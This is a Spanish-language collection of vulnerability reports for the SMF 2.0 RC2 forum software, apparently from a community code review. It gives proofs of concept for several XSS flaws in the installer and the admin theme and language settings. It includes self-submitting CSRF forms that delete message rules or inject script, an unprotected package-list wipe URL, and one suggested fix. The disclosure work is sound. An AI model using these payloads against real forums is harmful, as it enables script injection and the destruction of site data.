Detalles

Descripción:	XSS en el instalador
Descubierto por:	brlvldvlsmrtnz@gmail.com
Código vulnerable:	install.php
URL Vulnerable:	install.php
PoC:	establecer como ruta del foro http://localhost/"><h1>xss</h1>
Afecta a:	‭‬SMF 2.0 RC2

---

Descripción

La vulnerabilidad está en el archivo install.php.
Es provocada por la mala filtración de carácteres especiales al producirse
algún error en algún paso de la instalación lo que puede provocar ejecución
de código html y ‭‬javascript en el navegador.
Ejemplos en el código están en las funciones template_database_settings() y
template_chmod_files().
Adjunto un archivo installer modificado por mí que es supuestamente seguro
contra la vulnerabilidad encontrada.
Otra vulnerabilidad XSS que he encontrado es en el step de forum settings
es cuando te pregunta la ruta del foro, si pones
http://localhost/"><h1>Hola</h1>
Por cada enlace que ponga en el foro te saldra el <h1>Hola</h1>

Detalles

Descripción:	XSS en el administrador de reglas
Descubierto por:	cicatriz.r00t@gmail.com
Código vulnerable:	N/A
URL Vulnerable:	index.php?action=pm;sa=manrules
PoC:	N/A
Afecta a:	‭‬SMF 2.0 RC2

---

Descripción

El administrador de reglas de mensajes sufre de tres ataques de Cross-Site
Request Forgery (index.php?action=pm;sa=manrules).
Primero:

<form method="POST" action="/index.php?action=pm;sa=manrules;save;rid=0">
	<input type="text" name="rule_name" value="csrf">
	<input type="text" name="ruletype[0]" value="mid">
	<input type="text" name="ruledef[0]" value="admin">
	<input type="text" name="ruledefgroup[0]" value="">
	<input type="text" name="rule_logic" value="and">
	<input type="text" name="acttype[0]" value="del">
	<input type="text" name="labdef[0]" value="">
	<input type="text" name="save" value="Save Rule">
</form>
<script>document.getElementsByTagName("form")[0].submit();</script>

Este ataque crearía una regla que borre todos los mensajes provenientes del
user admin.

Segundo:

<form method="POST" action="/index.php?action=pm;sa=manrules">
	<input type="text" name="delrule[4]" value="on">
	<input type="text" name="delselected" value="Delete Selected Rules">
</form>

Este ataque borraría la regla 4.

Tercero:

<img src="/index.php?action=pm;sa=manrules;apply">

Aplicaría las reglas en el momento.

Detalles

Descripción:	Desinstalación arbitraria de mods
Descubierto por:	WHK@elhacker.net
Código vulnerable:	Sources/Packages.php:1167
URL Vulnerable:	index.php?action=admin;area=packages;sa=flush
PoC:	N/A
Afecta a:	‭‬SMF 2.0 RC2

---

Descripción

Voy a comenzar explicando la prueba de concepto directamente:
http://localhost/smf2.0/index.php?action=admin;area=packages;sa=flush

Primero que nada decir que esta acción no requiere de ningún token por lo
tanto puede ser ejecutado de forma arbitraria y consiste en que te elimina
todo el listado de paquetes instalados en el archivo que contiene todas tus
instalaciones "installed.list".

Si por ejemplo tienes instalado 4 mods los cuales modificaron tu foro ya no
podrás desintalarlos porque no figurarán instalados y los cambios en el
foro permanecerán modificados, eso quiere decir que si intentas reinstalar
el mismo mod no podrás porque los cambios ya están hechos y por lo tanto
tampoco puedes desintalarlos ni eleiminarlos.

Esto puede afectar por completo el funcionamiento de tu foro al intentar
realizar una actualización o cambio en un paquete nuevo ya que las
busquedas de reemplazo de strings en los archivos del foro ya no serán los
mismos.

La única solución sería restaurar un respaldo creado con anterioridad o
volver a instalar tu foro nuevamente con cada mod.

El fallo se produce en el archivo Sources/Packages.php linea 1167 en la
función "FlushInstal" ya que desde que es llamada la función hasta que
finaliza en ningúna parte se solicita un token de verificación para evitar
una ejecución arbitraria de esta acción.

http://code.google.com/p/smf2-review/source/browse/trunk/Sources/Packages.php#1167

Detalles

Descripción:	CSRF+XSS en el administrador de lenguajes
Descubierto por:	cicatriz.r00t@gmail.com
Código vulnerable:	N/A
URL Vulnerable:	/index.php?action=admin;area=languages;sa=editlang;lid=english;
PoC:	N/A
Afecta a:	‭‬SMF 2.0 RC2

---

Descripción

En este ataque se utiliza Cross-Site Request Forgery para realizar un
ataque Cross-Site Scripting.
Proof-of-Concept:

<body onload="document.forms[0].elements[5].click()">
	<form
action="/index.php?action=admin;area=languages;sa=editlang;lid=english;"
method="post" accept-charset="UTF-8">
		<input name="character_set" size="20" value="ISO-8859-1" type="text">
		<input name="locale" size="20" value="en_US" type="text">
		<input name="dictionary" size="20" value="en" type="text">
		<input name="spelling" size="20"
value="american&#38;#34;&#38;#62;&#38;#60;&#38;#104;&#38;#49;&#38;#62;&#38;#88;&#38;#83;&#38;#83;&#38;#60;&#38;#47;&#38;#104;&#38;#49;&#38;#62;"
type="text">
		<input name="rtl" class="check" type="checkbox">
		<input type="submit" value="Save" name="save_main"/>
	</form>
</body>

Otra cosa a resaltar es el echo de poder cambiar el tipo de character set.
Cosa que nos daría la libertad de elegir un encoding vulnerable como UTF-7.

El problema se ubica aquí:

+++/var/www/POC/smf_2-0-rc1-2_install/Sources/ManageServer.php @@ 1195:1201
  1195			$replace_array = array(
  1196				'~\$txt\[\'lang_character_set\'\]\s=\s(\'|")[^\'"]+(\'|");~' =>
'$txt[\'lang_character_set\'] = \'' . addslashes($_POST['character_set']) .
'\';',
  1197				'~\$txt\[\'lang_locale\'\]\s=\s(\'|")[^\'"]+(\'|");~' =>
'$txt[\'lang_locale\'] = \'' . addslashes($_POST['locale']) . '\';',
  1198				'~\$txt\[\'lang_dictionary\'\]\s=\s(\'|")[^\'"]+(\'|");~' =>
'$txt[\'lang_dictionary\'] = \'' . addslashes($_POST['dictionary']) . '\';',
  1199				'~\$txt\[\'lang_spelling\'\]\s=\s(\'|")[^\'"]+(\'|");~' =>
'$txt[\'lang_spelling\'] = \'' . addslashes($_POST['spelling']) . '\';',
  1200				'~\$txt\[\'lang_rtl\'\]\s=\s[A-Za-z0-9]+;~' =>
'$txt[\'lang_rtl\'] = ' . (!empty($_POST['rtl']) ? 'true' : 'false') . ';',
  1201			);
---/var/www/POC/smf_2-0-rc1-2_install/Sources/ManageServer.php

http://code.google.com/p/smf2-review/source/browse/trunk/Sources/ManageServer.php#1195

Lo único que salva al foro de no sufrir la ejecución de PHP es la función
addslashes(), porque todos estos datos son escritos a un archivo.

Detalles

Descripción:	XSS en la URL del logo
Descubierto por:	cicatriz.r00t@gmail.com
Código vulnerable:	N/A
URL Vulnerable:	/index.php?action=admin;area=theme;sa=settings;th=1;
PoC:	options[header_logo_url]=."/onerror=alert(0);//
Afecta a:	‭‬SMF 2.0 RC2

---

Descripción

Bueno, esto en realidad no me pareció muy relevante pero quizás sirva de
todos modos. Si vamos a la pagina de administracion donde se cambia la
configuracion del theme que se esta usando
(/index.php?action=admin;area=theme;sa=settings;th=1;) y al modificar el
input "options[header_logo_url]", si ponemos algo como esto:

."/onerror=alert(0);//

El código JS se ejecutaría en cualquier parte del foro.

Detalles

Descripción:	XSS en el buscador de lenguajes
Descubierto por:	brlvldvlsmrtnz@gmail.com
Código vulnerable:	ManageServer.php:408
URL Vulnerable:	index.php?action=admin;area=languages;sa=add;[token]
PoC:	<xss>
Afecta a:	‭‬SMF 2.0 RC2

---

Descripción

La vulnerabilidad está en el buscador de lenguajes en la variable smf_add
que va dentro de un textbox.
Hay que escribir ">(codigo)

http://localhost/SMF/index.php?action=admin;area=languages;sa=add;[token]

Detalles

Descripción:	XSS en "theme url and settings"
Descubierto por:	brlvldvlsmrtnz@gmail.com
Código vulnerable:	N/A
URL Vulnerable:	index.php?action=admin;area=theme;sa=settings;th=2;[token]
PoC:	http://urlreal"><script>alert(1);</script>
Afecta a:	‭‬SMF 2.0 RC2

---

Descripción

La vulnerabilidad se explota desde donde se configura el tema actual y es
vulnerable además del logo (que ya pusieron antes) en la url del tema y de
las imágenes.
Poniendo en las urls: http://urlreal"><script>alert("Robamos tus cookies
gracias...");</script> se consigue ejecutar ese código ‭‬‭‬‭‬javascript cada vez
que se muestre una imagen o se llame  a una hoja de estilo.

---

Solución
Esto se arregla en las líneas 819,820,821 poniendo esto :

foreach ($_POST['options'] as $opt => $val)
			$inserts[] = array(0, $_GET['th'], htmlspecialchars($opt),
is_array($val) ? implode(',', htmlspecialchars($val)) : $val);

En el archivo themes.php en la url :
http://localhost/SMF/index.php?action=admin;area=theme;sa=settings;th=2;[token]